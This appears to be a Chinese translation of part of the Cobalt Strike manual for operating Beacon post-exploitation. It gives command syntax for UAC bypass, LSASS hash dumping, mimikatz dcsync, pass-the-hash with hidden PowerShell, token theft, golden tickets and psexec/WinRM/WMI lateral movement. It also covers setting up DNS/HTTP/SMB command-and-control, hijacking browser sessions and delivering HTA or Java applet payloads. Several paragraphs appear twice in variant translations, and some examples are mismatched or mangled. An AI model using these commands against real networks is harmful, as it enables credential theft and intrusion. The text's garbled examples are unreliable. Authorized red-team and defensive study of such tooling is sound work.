Strike附带两个UAC旁路攻击。如果当前用户不是管理员,则这些攻击将不起作用。要检查当前用户是否在Administrators组中,请使用shell whoami /groups elevate uac-dll [listener] 将在具有提升权限的进程中生成会话。此攻击使用UAC漏洞将Artifact Kit生成的DLL复制到特权位置。然后它运行一个应用程序,该应用程序(a)在运行时具有完全权限,(b)易受DLL劫持的攻击。这些步骤加载启动Beacon会话的DLL。此攻击适用于Windows 7和未修补的Windows 8及更高版本。如果Always Notify处于最高设置,则此攻击将不起作用。 elevate uac-token-duplication [listener] 将在具有提升权限的进程中生成会话。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows 7及更高版本。如果Always Notify处于最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户)。此漏洞使用PowerShell生成会话。 使用runasadmin [command]运行具有提升权限的任意命令。runasadmin命令使用UAC令牌复制攻击。 Elevate Kit包含UAC旁路选项,可以更好地与最新版本的Windows配合使用 Privileges 键入getprivs以启用分配给当前访问令牌的权限。 Mimikatz Beacon集成了mimikatz。使用mimikatz命令将任何命令传递给mimikatz的命令调度程序。例如,mimikatz standard::coffee会返回coffee信息。Beacon将注入与目标的本机架构匹配mimikatz实例。一些mimikatz命令必须作为SYSTEM权限才能运行。在命令前面加上!符号来强制Mimikatz在运行您的命令之前提升到system权限。例如:mimikatz !lsa::cache将恢复系统缓存的salt密码哈希 有一段时间,您可能需要使用Beacon的当前访问令牌运行mimikatz命令。使用@前缀命令强制mimikatz模拟Beacon的当前访问令牌。例如,mimikatz !lsa::cache将使用Beacon的当前访问令牌在mimikatz中运行dcsync命令。 有时您可能需要使用Beacon的当前访问令牌运行mimikatz命令。在命令前面加上@以强制mimikatz模拟Beacon的当前访问令牌。例如,mimikatz @lsadump::dcsync将使用Beacon的当前访问令牌在mimimikatz中运行dcsync命令。 Credential and Hash获取 要转储哈希值,请进入[beacon] - > Access - > Dump Hashes。您也可以使用Beacon控制台中的hashdump命令。这些命令将生成一个注入LSASS的进程,并为当前系统上的本地用户转储密码哈希值。该logonpasswords命令将使用mimimikatz为登录到当前系统的用户读取明文密码和哈希。logonpasswords命令与[beacon] -> Access -> Run Mimikatz相同 使用dcsync [DOMAIN.FQDN]从域控制器中为所有帐户提取密码哈希值。此技术使用Windows API构建来在域控制器之间同步信息。它需要域管理员信任关系。Beacon使用mimikatz来执行这项技术。如果需要特定的密码哈希,请使用dcsync[domain.fqdn][domain\user] 使用这些命令转储的凭据由Cobalt Strike收集并存储在凭证数据模型中。进入View - > Credentials以获取当前团队服务器上的凭据。 Port Scanner Beacon有一个内置端口扫描器。使用portscan [targets] [ports] [discovery method]来启动端口扫描器程序。您可以指定以逗号分隔的目标范围列表。端口也是如此。例如,端口扫描172.16.48.0/24 1-1024,8080将在端口1到1024和8080上扫描主机范围172.16.48.0到172.16.48.255。 有三种发现主机存活的选项。arp方法使用ARP请求来发现主机是否处于存活状态。icmp方法发送ICMP echo请求来检查目标是否处于存活状态。none选项告诉portscan工具假定所有主机都处于存活状态。 端口扫描程序将在Beacon check ins之间运行。当它有结果需要输出时,它会将信息发送到Beacon控制台。Cobalt Strike将处理此信息并使用发现的主机更新目标模型。 网络和主机枚举 Beacon的网络模块提供了在Windows Active Directory网络中查询和发现目标的工具。使用net dclist命令查找目标加入的域的域控制器。使用net view命令在目标加入的域中查找目标。这两个命令也填充目标模型。net computers命令通过查询域控制器上的计算机帐户组来查找目标。 Beacon的网络模块包含基于Windows网络枚举API构建的命令,这些命令可直接替代Windows中的许多内置网络命令。这里还有一些特殊的功能。例如,使用net localgroup\\target列出另一个系统上的组。使用net localgroup \\target group name列出另一个系统上组的成员。这些命令在横向移动时非常有用,当您必须找到另一个系统上的本地管理员时。 使用help net获取Beacon网络模块中所有命令列表。使用help net command获取获取每个单独命令的帮助。 信任关系 当用户登录到Windows主机时,将生成访问令牌。此令牌包含有关用户及其权限的信息。访问令牌还保存将用户身份验证到同一Active Directory域上的另一个系统所需的信息。您可以从另一个进程中窃取一个令牌并并将其应用于您的Beacon中。执行此操作时,您可以作为该用户与域中的其他系统进行交互。 使用steal_token [process id]来模拟现有进程中的令牌。如果要查看正在运行的进程,请使用ps。getuid命令将输出您当前的令牌。使用rev2self恢复原始令牌。 如果您知道某个用户的凭据; 使用make_token [DOMAIN \ user] [password]生成传递这些凭据的令牌。此令牌是当前令牌的副本,具有修改后的单一登录信息。它会显示您当前的用户名。这是预期的结果。 使用mimikatz通过Beacon传递哈希值。Beacon命令mimikatz sekurlsa :: pth / user:[user] / domain:[DOMAIN] / ntlm:[hash] / run:“powershell -w hidden将创建一个带有令牌设置的进程来根据您提供的信息来单点登录。使用steal_token从此新进程中获取令牌,您将继承其单点登录的权限。 Kerberos票据 使用kerberos_ticket_use [/path/to/ticket]将kerberos票据注入当前会话中。这将允许Beacon使用此票据中的权限与远程系统进行交互。尝试使用mimikatz 2.0生成的Golden Ticke 使用kerberos_ticket_purge清除与您的会话关联的任何kerberos票据 横向移动 一旦您拥有域管理员或是目标上本地管理员的域用户的令牌,您就可以滥用此信任关系来控制目标。Cobalt Strike的Beacon有几种内置横向移动选项。 使用Beacon的psexec [target] [share] [listener]在远程主机上执行有效负载。此命令将为您的侦听器生成Windows服务可执行文件,将其复制到您指定的共享,创建服务,启动服务以及自行清除。默认共享包括ADMIN $和C $。 使用psexec_psh [target] [listener]使用PowerShell在远程主机上执行有效负载。此命令将创建一个服务来运行PowerShell单行程序,启动它并自行清除。如果您不想接触磁盘,这种横向移动方法很有用。 Beacon的winrm [target] [listener]命令将使用WinRM在远程主机上执行有效负载。此选项要求在目标系统上启用WinRM。它默认是关闭的。此选项使用PowerShell在目标上加载有效负载。 最后,使用wmi [target] [listener]通过Windows Management Instrumentation传递有效负载。此命令使用PowerShell在目标上加载有效负载。 其他命令 Beacon还有一些其他命令未介绍 该clear命令将清除Beacon的任务列表。如果你输入了错误命令,可以用该命令清除。 输入exit以退出Beacon控制台。 使用kill [pid]来终止进程 使用timestomp将一个文件的Modified,Accessed和Created时间与另一个文件的时间相匹配 DNS Beacon 混合HTTP和DNS Beacon 混合HTTP和DNS Beacon有效载荷是最受欢迎的Cobalt Strike功能。这个有效负载使用DNS请求向您发送信号。这些DNS请求是针对您的Cobalt Strike团队服务器授权的域的查找。DNS响应告诉Beacon进入睡眠状态或连接到您下载任务。DNS响应还将告诉Beacon如何从您的团队服务器下载任务。 DNS Beacon流程图 最初,此有效负载将通过HTTP GET连接下载其所有任务。DNS Beacon的目的是最小化有效负载直接连接到您的被受控端。随着时间的推移,很明显在某些情况下,也可以通过DNS下载任务。 数据通道 今天,混合HTTP和DNS Beacon可以通过HTTP,DNS A记录,DNS AAAA记录或DNS TXT记录下载任务。更好的是,这种有效负载在目标上时能够灵活地在这些数据通道之间切换。使用Beacon的mode命令更改当前Beacon的数据通道。mode http是HTTP数据通道。mode dns是DNS A记录数据通道。 mode dns6是DNS AAAA记录通道。并且,模式dns-txt是DNS TXT记录数据信道。 HTTP数据通道使用HTTP POST请求将信息发送回您。DNS数据通道将为您的团队服务器准备的数据嵌入到一个长主机名中。此主机名的最大长度由malleable c2 maxdns选项设置。DNS TXT通道将使用该值的100%。DNS AAAA通道将使用该值的50%。DNS A通道将使用该值的25%。 请注意,只有任务可用时,DNS信标才会验入。使用checkin命令在下次调用home时请求DNS Beacon检查。 Listener设置 Windows/Beacon_DNS/Reverse_HTTP有效载荷阶段通过HTTP连接。当您创建这个监听器时,请注意,您正在配置的主机和端口的cobalt strike,它将用于通过HTTP转移这个载荷。当您选择设置此有效负载时,Cobalt Strike要知道在端口53上安装的DNS服务器信息。 windows/beacon-dns/reverse-dns-txt有效载荷使用dns-txt记录下载和准备混合http和dns-beacon。创建此侦听器时,请注意您正在配置此负载将用于HTTP通信的端口。同样,Cobalt Strike要知道在端口53上安装的DNS服务器。 如果使用HTTP stager设置Hybrid HTTP和DNS Beacon有效负载,请注意您仍然可以请求DNS TXT记录。许多Cobalt Strike功能将允许您指定 listener name (DNS)以强制使用DNS TXT记录stager。 DNS Beacon域 创建监听器并点击Save后,Cobalt Strike将要求您提供要登录的域列表。您的Cobalt Strike团队服务器系统必须对您指定的域具有权威性。创建DNS A记录并将其指向您的Cobalt Strike团队服务器。使用DNS NS记录将多个域或子域委派给Cobalt Strike团队服务器的A记录。 监听器配置 要测试DNS配置,请打开终端并键入nslookup jibberish.beacon.domain。如果您获得0.0.0.0的A记录应答 - 那么您的DNS设置正确。如果您没有收到应答,那么您的DNS配置不正确,混合HTTP和DNS Beacon将无法与您通信。 确保您的DNS记录引用网络接口上的主要地址。Cobalt Strike的DNS服务器将始终从您的网络接口的主地址发送响应。DNS解析器在从一台服务器请求信息时会丢弃回复,但会收到另一台服务器的回复。 如果您位于NAT设备后面,请确保使用公共IP地址作为NS记录,并将防火墙设置为允许端口53上的UDP流量转发到此系统上。Cobalt Strike包括一个控制Beacon的DNS服务器。 DNS Beacon Setup and Use HTTP和HTTPS Beacon windows/beacon-http/reverse-http是Cobalt Strike的http beacon。此beacon将检查任务并使用HTTP GET请求来下载它们。这个信标用HTTP POST请求发送数据。一旦您创建了监听器并点击Save,Cobalt Strike将要求您提供一个域列表,以提供给beacon指向。创建指向您的团队服务器的IP地址或其重定向的DNS A记录。如果你没有控制的域名服务器,则在此框中输入您的团队服务器的IP地址。 HTTP Beacon windows / beacon_https / reverse_https是Cobalt Strike的HTTPS Beacon。Beacon的这种方式将SSL加密其通信。您可以使用HTTPS Beacon 的有效SSL证书。 手动代理设置 HTTP和HTTPS Beacon使用与Internet Explorer相同的代理设置。如果用户运行的Beacon是从context,HTTP和HTTPS通信,并将自动向代理服务器验证自身请求。有时,这些默认值是不可取的。 可以使用备用代理配置导出不稳定 Beacon artifac。进入到 Attacks -> Packages -> Windows Executable (S)。点击代理字段旁边的the … 按钮。这将打开一个对话框来更改 Beacon artifac的代理设置。 手动代理设置 (手动)代理设置对话框提供了几个选项来更改Beacon发送HTTP和HTTPS请求的方式。proxy type字段配置代理类型。proxy host 和proxy port字段告诉Beacon代理所在的位置。username和password字段是可选的。这些字段指定Beacon用于向代理进行身份验证的凭据。 选中 the Ignore proxy settings; use direct connection 框强制Beacon尝试其HTTP和HTTPS请求而无需通过代理。 点击 Set按钮弹出以使用所需的代理设置更新 Beacon 对话框。点击Reset按钮将代理配置设置回默认值。 没有使用Beacon侦听器来本身指定手动代理设置的选项。这是因为beacon http和https stager不支持这些选项。 如何创建 HTTP Beacon Listener SMB Beacon windows/beacon_smb/bind_pipe 是Cobalt Strike的SMB Beacon,SMB Beacon使用命名管道通过父级Beacon进行通信。这种点对点通信在同一主机上与Beacons一起工作,它也适用于整个网络,Windows在SMB协议中封装命名管道通信。因此,名称为SMB Beacon 对于Beacon的大多数功能,您可以将SMB Beacon用作目标侦听器。影响本地主机的功能将通过设置的TCP进行连接转移,以避免基于本地主机的防火墙的IRE拦截。Beacon的横向移动功能将SMB Beacon放置到命名管道上。 您还可以导出stagless SMB Beacon可执行文件或DLL。进入到Attacks - > Packages - > Windows Executable(S)并选择SMB Beacon监听器。 启动SMB Beacon的操作将自动链接到它。如果您运行一个不稳定性的SMB Beacon有效负载,则必须链接到该有效负载以以控制它。 SMB Beacon的localhost-only TCP stager将绑定到New Listener对话框中指定的端口上。SMB Beacon的名为pipe stager的远程主机将绑定到Malleable C2配置文件中的pipename_stager选项。 SMB Beacon有效负载将绑定到Malleable C2配置文件中的pipename选项。 链接和取消链接 从Beacon控制台,使用Link[IP Address]将当前Beacon链接到正在等待连接的SMB Beacon。当前Beacon检入时,其链接的对等端也将签入。 为了融入正常流量,链接的Beacon使用Windows命名管道进行通信。此流量封装在SMB协议中。这种方法有一些注意事项: 1.具有SMB Beacon的主机必须接受端口445的连接 2.您只能链接由同一Cobalt Strike实例管理的Beacon。 如果在尝试链接到Beacon后收到错误5(拒绝访问):窃取域用户的令牌或使用shell net use \\host\IPC$ /U:DOMAIN\user password 与主机建立会话。此管理员用户不是必需的。任何有效的域用户都可以。完成会话后,尝试再次链接到Beacon。 要销毁Beacon链接,请在父级或子级中使用unlink [ip address]。稍后,您可以再次链接到未链接的Beacon中(或从另一个Beacon链接到它) Pivot拓扑图 pivo拓扑图以自然的方式显示您的SMB Beaco链接。进入到Cobalt Strike - > Visualization - > Pivot Graph以启用显示此拓扑图。 Pivot拓扑图 每个Beacon会话都有一个图标。与会话表一样:每个主机的图标表示其操作系统。如果图标为红色并带有闪电图状,则Beacon将在具有管理员权限的进程中运行。较暗的图标表示要求Beacon会话退出,并且它需要确认此命令。 防火墙图标表示Beacon的最后一个出口点(例如,代理、防火墙或重定向器)。Beacon将使用一条绿色虚线表示它使用HTTP、HTTPS或DNS端口网络。 将一个Beacon会话连接到另一个Beacon会话的橙色箭头表示两个信标之间的链接。Cobalt Strike的Beacon使用Windows命名管道以这种点对点的方式控制Beacons。命名管道是Windows上的进程间通信机制。主机到主机的命名管道流量封装在SMB协议中。红色箭头表示Beacon链接已断开。 单击Beacon来选择它。您可以通过在所需主机上单击并拖动一个框来选择多个信标。按ctrl和shift键以选择或取消选择单个Beacon。 右键单击Beacon,弹出一个菜单,其中包含可用的后期利用选项。 右键单击没有选定Beacon的pivo拓扑图以配置此图的拓扑图。 SMB Beacon设置和使用 TCP Beacon windows/beacon-tcp/bind-tcp是Cobalt Strike的tcp Beacon。TCP Beacon使用TCP套接字通过父Beacon进行通信。这种点对点通信与同一主机和网络上的Beacon一起工作。 对于beacon的大多数特性,您可以使用tcp beacon作为目标侦听器。 您还可以导出一个不稳定的stageless TCP Beacon executable or DLL,进入到attacks->packages->windows executable(s)并选择您的TCP Beacon侦听器。 执行 Beacon的操作将自动连接到它。如果您运行的是不稳定的TCP Beacon负载,则必须连接到该负载以控制它。 TCP Beacon stager将绑定到New Listener对话框中指定的端口。TCP Beacon有效负载将绑定到单独的端口,在Malleable C2配置文件中指定为tcp_port选项。 连接和取消链接 在Beacon控制台中,使用connect [ip address]将当前会话连接到等待连接的TCP Beacon。当前会话签入时,其链接的对等方也将签入。 从Beacon控制台,使用Connect[IP address]将当前会话连接到正在等待连接的TCP Beacon。当前会话签入时,其链接的对等方也将签入。 要取消Beacon链接,请在父级或子级中使用unlink [ip address]。稍后,您可以从同一主机(或不同的主机)重新连接到TCP Beacon。 TCP Beacon的使用 Browser Pivoting Browser Pivot 是一种用于劫持受感染用户的经过身份验证的Web会话的浏览器攻击。Cobalt Strike使用注入32位和64位Internet Explorer的代理服务器实现Browser Pivot 。浏览此代理服务器时,您将保存cookie信息,验证HTTP会话身份和客户端SSL证书。Browser Pivot 是一种通过有针对性的攻击来展示风险的方法。 要设置Browser Pivot ,请进入到[beacon] - > Explore - > Browser Pivot。选择要注入的Internet Explorer进程。您还可以决定将Browser Pivot 代理服务器绑定到哪个端口上。 你注入的过程非常重要。注入Internet Explorer以继承用户经过身份验证的Web会话。最新版本的Internet Explorer为每个选项卡生成一个进程。如果您的目标使用最新版Internet Explore,则必须将其注入子选项卡以继承会话状态。 通常,子选项卡共享所有会话状态。有一个例外。InternetExplorer11似乎打破了它共享客户端SSL状态的方式。这是不可预测的。如果您注入到与客户机SSL会话关联的选项卡进程中,那么它将运行。 通过查看Browser Pivo设置对话框中的PPID值来标识Internet Explorer子选项卡进程。当ppid引用explorer.exe时,该进程不是子选项卡。当PPID引用iexplore.exe时,该进程是子选项卡。 设置Browser Pivo后,将Web浏览器设置为使用Browser Pivot Proxy服务器。Browser Pivot Proxy服务器是HTTP代理服务器。 使用 启动Browser Pivo后,您可以将目标用户作为目标用户浏览。请注意,Browser Pivo代理服务器将为您访问的启用SSL的网站提供其SSL证书。这是运行的必要条件。 Browser Pivo代理服务器会在检测到SSL错误时要求您将主机添加到浏览器的信任存储区。将这些主机添加到信任库中, 按刷新以使SSL保护的站点正确加载。 要停止Browser Pivot代理服务器,请在其Beacon控制台中键入browserpivot stop 关闭“Browser Pivot tab”选项卡以停止browser pivoting代理服务器。 如果用户关闭您正在使用的选项卡,则需要重新注入browser pivoting代理服务器。Browser Pivot tab选项卡将在无法连接到浏览器中的browser pivoting代理服务器时发出警告。 怎样运行 Internet Explorer将其所有通信委托给名为WinINet的库。任何程序都可以使用此库,为其使用者管理cookie,SSL会话和服务器身份验证。Cobalt Strike的browser pivoting功能利用了WinINet透明地管理每个进程的身份验证和重新认证这一特定。通过将Cobalt Strike的Browser Pivoting技术注入用户的Internet Explorer进程中,可以免费获得这种透明的重新认证。 Internet Explorer将其所有通信委托给一个名为wininet的库。这个库,任何程序都可以使用它,为其用户管理cookie、ssl会话和服务器身份验证。Cobalt Strike的browser pivoting利用了这一个功能,即Wininet在每个进程的基础上透明地管理身份验证和重新验证。通过将Cobalt Strike的Browser Pivoting技术注入用户的Internet Explorer进程中,可以免费获得这种透明的重新认证。 Browser Pivoting 在KALI主机中访问 凭据管理器 管理凭据 进入到View - > Credentials,并与Cobalt Strike的凭证模型进行交互。按添加以向凭证模型添加条目。 您可以按住shift并点击保存按钮 以使其对话框保持打开状态,以便更轻松地向模块添加新凭据。选择复制将突出显示的记录复制到剪贴板。使用导出以pwdump格式导出凭证。 管理凭据使用 数据模型 概述 Cobalt Strike 3.0的团队服务器是Cobalt Strike在参与期间收集的信息的的助理。Cobalt Strike解析其Beacon有效负载的输出,以提取目标,服务和凭据的信息作为报告输出。 如果您想导出Cobalt Strike的数据,您可以通过 Reporting -> Export Data来实现。Cobalt Strike提供了将数据导出为TSV和XML格式文件的选项。Cobalt Strike客户端的导出数据功能将合并您当前连接的所有团队服务器的数据。 Targets 您可以通过View - > Targets与Cobalt Strike的目标信息进行交互。此选项卡显示与目标可视化相同的信息。选择添加按钮将新目标添加到Cobalt Strike的数据模型中。 Services 在目标显示中,右键单击主机,然后选择tServices。这将打开Cobalt Strike的服务浏览器。在这里,您可以浏览服务,为不同的服务分配注释,以及删除服务记录。 Credentials 进入到View - > Credentials,并与Cobalt Strike的凭证模型进行交互。按添加以向凭证模型添加条目。您可以按住shift并点击保存按钮 以使其对话框保持打开状态,以便更轻松地向模块添加新凭据。选择复制将突出显示的记录复制到剪贴板。 Maintenance Cobalt Strike收集的所有数据都存储在 您从团队服务器启动的同一位置的数据/子文件中。 如果您想清除Cobalt Strike的数据模型,请停止团队服务器,并删除数据/文件夹及其内容。Cobalt Strike将在您下次启动团队服务器时重新创建数据/文件夹 如果您要存档数据模型,请停止团队服务器,并使用您最喜欢的程序将数据/文件夹及其文件存储到其他位置。要还原数据模型,请停止团队服务器,并将旧内容还原到数据/文件夹。Cobalt Strike的数据模型将其所有状态和状态元数据保存在数据/文件夹中。 Reporting -> Reset Data重置Cobalt Strike的数据模型,无需重新启动团队服务器。 管理下载文件 进入Cobalt Strike中的View->Downloads,查看您的团队迄今为止下载的文件。只有已完成的下载才会显示在此选项卡中。下载的文件存储在团队服务器上。要将文件穿回系统,请在此处突出显示它们,选择 Sync File按钮”。然后,Cobalt Strike会将所选文件下载到系统上您选择的文件夹中。 Cobalt Strike中管理文件下载 导出数据 进入到Reporting -> Export Data,以从Cobalt Strike中导出数据,Cobalt Strike客户端将汇总您连接到的每个团队服务器的数据,并使用Cobalt Strike的数据模型中的数据导出TSV和XML格式的文件。 ExternalC2(第三方命令和控制台) Cobalt Strike的外部命令和控制(External C2)接口允许第三方程序充当Cobalt Strike与其Beacon有效载荷之间的通信层。 自Cobalt Strike 3.6以来,已存在此功能和标准的测试版。该标准还未被认为是最终的,也未得到支持。此功能仍在开发和考虑中。 如果您现在想尝试一下,请参阅External C2标准规范,如下连接。 ·External C2 Specification 一些“商业”问题 如果您想将规范中的示例(附录B)修改为第三方C2,您可以为规范中包含代码的3-clause BSD license f 如果您想参考外部C2规范,请转到此页面。随着文档和资源的丰富,此页面将进行更新。 第三方参考 以下是引用,使用或构建外部C2的第三方项目和帖子列表: ·external_c2_framework由乔纳森·埃查瓦里亚编写。用于构建外部C2客户端和服务器的Python框架。 ·ExternalC2 Library由瑞恩·汉森编写。带有Web APi,WebSockets和直接套字节的.net库。包括测试和评论。 ·Tasking Office 365 for Cobalt Strike C2 由MWR Lab编写 。用于Cobalt Strike的Office 365 C2的讨论和演示。 ·Shared File C2 by Outflank BV. POC to use a file/share for command and control. File Browser Beacon的文件浏览器是一个在受控主机上查看文件。 进入到[Beacon] - > Explore - > File Browser打开它。 文件浏览器 右键单击要下载或删除的文件。 要上传文件夹,请按左上角文件路径旁边的文件夹按钮。要查看哪些驱动器可用,请点击 List Drives.按钮 请注意,文件浏览器中的每个操作都会创建Beacon执行的任务。文件浏览器无法使用您请求的信息刷新其内容,直到Beacon检入下一个。如果您的Beacon处于高睡眠间隔,则使用文件浏览器将不会令人愉快。建议您使用具有低信标睡眠时间(例如,少于10秒)的文件浏览器。 请注意,文件浏览器中的每个操作都会创建Beacon执行的任务。在下一个Beacon验入之前,文件浏览器无法使用您请求的信息刷新其内容。如果您的Beacon处于高睡眠间隔,您使用文件浏览器将很慢,建议您使用具有低Beaco睡眠时间(例如,少于10秒)的文件浏览器。 Golden Ticket Golden Ticket是一张自行生成的Kerberos票据。最常见的是使用域管理员权限伪造Golden Ticket Golden Ticket需要四条信息: 1.要伪造票据的用户 2.要为其伪造票据的域名 3.域的SID 4.域控制器上krbtgt用户的NTLM哈希值 进入到[beacon] - > Access - > Golden Ticket,从Cobalt Strike生成一张Golden Ticket,并设置以上四条信息,Cobalt Strike将使用mimikatz生成一张票据并将其注入到你的kerberos磁盘中。 Golden Ticket Tutoria Host File Cobalt Strike的Web服务器可以为您托管社会工程学工具包,进入到 Attacks -> Web Drive-by -> Host File进行设置。选择要加载的文件,选择任意URL,然后选择文件的mime类型。 选中Enable SSL to serve this content over SSL,在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。 HTML Application 攻击 HTML应用程序是用HTML编写的Windows程序和Internet Explorer支持的脚本语言。该包生成一个运行Cobalt Strike监听器的HTML应用程序。此攻击使您可以选择使用可执行文件或PowerShell来运行有效负载。进入到 Attacks -> Packages -> HTML Application. 此攻击有几种方法可以运行选定的侦听器。该可执行方法写一个可执行文件到硬盘并运行它。在PowerShell的方法将使用PowerShell的一班轮运行负载驿站。该VBA方法使用微软Office宏注入您的有效载荷送入内存。VBA方法需要目标系统上的Microsoft Office。 这种攻击有几种方法来运行选定的监听器。可执行方法会将可执行文件写入到磁盘中并运行它。PowerShell方法将使用PowerShell一行程序来运行负载stager。vba方法使用Microsoft Office宏将有效负载注入到内存中,VBA方法需要目标系统上安装Microsoft Office。 HTML Application Attack on Windows 10 Java Signed Applet 攻击 此工具可通过攻击->web drive by->signed applet攻击获得。这个攻击启动了一个Cobalt Strike Web服务器,它承加载了一个自签名的Java小程序。要求访问者授予applet运行权限。当访问者授予此权限时,您就可以访问他们的系统。 设置URI路径和端口以配置Web服务器。 选择 Launch按钮开始攻击 选择Enable SSL以通过SSL提供此内容。在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。 选 Enable SSL to serve this content over SSL,在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。 Signing Cobalt Strike's Applet 攻击 在没有有效的代码签名证书的情况下,Cobalt Strike的Java签名小应用程序攻击是 无效 。本教程展示了如何用自己的代码签名证书来签署Cobalt Strike的Java签名小程序攻击。 Java Applet Attack Code Signing Tutorial Java Applet攻击代码签名: Java Smart Applet攻击 Cobalt Strike的Smart Applet Attack结合了多个漏洞,可以将Java安全沙箱禁用到一个软件包中。 此工具可通过Attacks - > Web Drive-by - > Smart Applet Attack获得。此攻击启动了托管Java applet的Cobalt Strike Web服务器。最初,此applet在Java的安全沙箱中运行,并且不需要用户确认即可启动。 设置URI路径和Port 以配置Web服务器。 选中URI Path 通过SSL提供此内容(Enable SSL to serve this content over SSL)。在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。 smart applet分析其环境并决定使用哪种Java漏洞。如果Java版本容易受到攻击,则applet将禁用安全沙箱,并使用Cobalt Strike的Java注入器生成会话。 这次攻击中的这些攻击对Java 1.7u21及更早版本起作用。Java 1.6u45及更低版本也容易受到这种攻击。 选择Launch以启动攻击 注意:此攻击的实现已过时,在现有的最新环境中无效 横向移动 Cobalt Strike提供了一个图形用户界面,使横向移动更加容易。切换到目标可视化或进入到View -> Targets.进入到 [target] -> Login 并选择所需的横向移动选项。 将打开以下对话框: 要配置此会话框: 首先,决定你想用哪种信任机制进行横向移动。如果要在Beacons中使用令牌,请选中使用会话的当前访问令牌框。如果你想使用凭证或哈希来横向移动, 那也没关系。从凭据存储中选择凭据或填充“user”,“password”和“domain”字段。Beacon将使用此信息为您生成访问令牌。请记住,您需要从高完整性上[管理员]进行操作才能使其正常工作。 接下来,选择用于横向移动的listener。SMB Beacon通常是一个很好的候选者。 最后,选择要执行横向移动攻击的会话。Cobalt Strike的异步攻击模型要求每次攻击都要从受感染的系统执行。如果没有Beacon会话进行攻击,则无法执行此攻击。如果您正在进行内部参与,请考虑挂钩您控制的Windows系统,并将其作为攻击其他系统凭据或哈希值的起点。 最后,选择要执行横向移动攻击的会话。Cobalt Strike的异步攻击模型要求每个攻击都从一个受损的系统执行。如果没有可以攻击的Beacon会话,则无法执行此攻击。如果您正在进行内部渗透,请考虑挂接您控制的Windows系统,并将其用作使用凭证或哈希攻击其他系统的起点。 选择lauch按钮,Cobalt Strike将激活所选Beacon的选项卡并向其发出命令。来自攻击的反馈将显示在Beacon控制台中。 Cobalt Strike横向移动 Pivot Listeners 限制从目标网络到命令和控制基础架构的直连接数量是一个很好的工具。pivot listener允许您创建绑定到Beacon或SSH会话的侦听器。通过这种方式,您可以创建新的反向会话,而无需与命令和控制基础架构建立更直接的连接 要设置pivot listener,请进入到 [beacon] -> Pivoting -> Listener。这将打开一个对话框,您可以在其中定义新的pivot listener。 pivot listener将绑定到指定Session上的侦听端口。Listen Host值配置反向TCP有效负载用于连接此侦听器的地址。 现在,唯一的有效载荷选项是windows/beacon-reverse-tcp。这是一个没有stager的listener。这个有效载荷嵌入到命令和自动化中,而这些命令和自动化是需要stagers的。您可以选择导出一个不稳定的有效stageless payload artifact 并运行它来传递一个反向的TCP有效负载。 Pivot Listeners不会更改pivot主机的防火墙配置。如果pivot 主机具有基于主机的防火墙功能,则有可能会干扰您的侦听器。它,即运营商,负责预测这种情况发生并采取正确的防御措施。 要删除Pivot Listeners,请教纳入到Cobalt Strike - > Listeners,并在那里删除侦听器。如果会话仍然可以访问,Cobalt Strike将发送一个任务来清除侦听套字节。 Cobalt Strike反向TCP Pivot Listeners Malleable Command and Control 概述 Beacon的HTTP指标由Malleable C2配置文件控制。Malleable C2配置文件是一个简单的程序,它指定如何转换数据并将其存储在事务中。转换和存储数据的相同配置文件也可以从事务中提取和恢复数据。 要使用自定义配置文件,您必须启动Cobalt Strike团队服务器并在此时指定您的配置文件。 ./teamserver [external IP] [password] [/path/to/my.profile] 每个Cobalt Strike实例只能加载一个配置文件。如果您在参与过程中需要多个配置文件,请启动多个团队服务器 个【服务器都有自己的配置文件】并从一个Cobalt Strike客户端连接到它们。 检查错误 Cobalt Strike的Linux软件包包括一个c2lint程序。该程序将检查通信配置文件的语法,应用一些额外的检查,甚至使用随机数据对您的配置文件进行单元测试。强烈建议您在将配置文件加载到Cobalt Strike之前使用此工具检查配置文件。 ./c2lint [/path/to/my.profile] Profile Language 创建配置文件的最佳方法是修改现有配置文件。看看Github 上的例子。 当您打开配置文件时,您将看到以下内容: # this is a comment set global_option "value"; protocol-transaction { set local_option "value"; client { # customize client indicators } server { # customize server indicators } } 注释以#开头,直到结束。set语句是一种为选项赋值的方法。配置文件使用{}将语句和信息组合在一起。语句总是以分号结尾 为了让所有这些都看起来来通俗易懂,这里有一部分前提说明: http-get { set uri "/foobar"; client { metadata { base64; prepend "user="; header "Cookie"; } } 此部分配置文件定义HTTP GET事务的指标。第一个语句set uri指定客户端和服务器在此事务期间将引用的URI。此set语句发生在客户端和服务器代码块之外,因为它适用于这两个代码块。 客户端块为执行HTTP GET的客户端定义指标。在这种情况下,客户是Cobalt Strike的Beacon。 当Cobalt Strike的Beacon“phones home”时,它会将自己的元数据发送给Cobalt Strike。在此配置文件中,我们必须定义如何使用HTTP GET请求对元数据进行编码和发送。 后跟一组语句的metadata关键字指定如何将元数据转换并嵌入到我们的HTTP GET请求中。元数据关键字后面的语句组称为数据转换。 Step Action Data 0. Start metadata 1. base64 Base64 Encode bWV0YWRhdGE= 2. prepend "user=" Prepend String user=bWV0YWRhdGE= 3. header "Cookie" Store in Transaction 数据转换中的第一条语句声明我们将base64编码元数据[1]。第二条语句是prepend,它获取我们编码的元数据,并将字符串user=预先发送给它[2]。现在我们转换的元数据是"user=" . base64(元数据)。第三条语句指出,我们将把转换后的元数据存储到一个名为cookie[3]的客户端HTTP头中。 Beacon及其服务器都使用配置文件。在这里,我们从Beacon客户端的角度读取了该配置文件。Beacon服务器将采用相同的信息并并在后端处理。假设我们的Cobalt Strike Web服务器收到uri/foobar的GET请求后。那么,它想要从事务中提取元数据。 Step Action Data 0. Start 1. header "Cookie" Recover from Transaction user=bWV0YWRhdGE= 2. prepend "user=" Remove first 5 characters bWV0YWRhdGE= 3. base64 Base64 Decode metadata header语句将告诉我们的服务器从[1]恢复转换后的元数据的位置。HTTP服务器负责为我们解析来自HTTP客户端的标头。接下来,我们需要处理prepend语句。为了恢复转换后的数据,我们将prepend解释为删除前X个字符[2],其中X是我们前缀的原始字符串的长度。现在,剩下的就是解释最后一个语句base64。我们之前使用base64编码函数来转换元数据。现在,我们使用base64解码来恢复元数据[3]。 